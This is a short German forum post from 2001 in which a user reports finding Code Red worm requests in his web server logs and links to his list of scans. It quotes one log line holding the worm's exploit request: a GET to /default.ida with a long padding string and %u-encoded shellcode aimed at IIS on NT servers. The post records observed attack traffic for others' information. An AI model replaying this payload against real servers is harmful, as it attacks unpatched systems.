nicht angemeldet
Werter Leser,
werter Udo, :-)
stellt ich doch bei der Durchsicht meiner Logdateien heute folgende Zeilen in kleinerer Menge fest:
2001-08-02 02:46:26 xxx.xxx.xxx.xxx - yyy.yyy.yyy.yyy 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 - -
das Ding nennt sich "Code Red" und ist ein Wurm.
Gefährlich aber nur für NT-Server.
Sieh Dir mal meine List der Scans an:
http://rusch.dyndns.org/wurm.txt
Reiner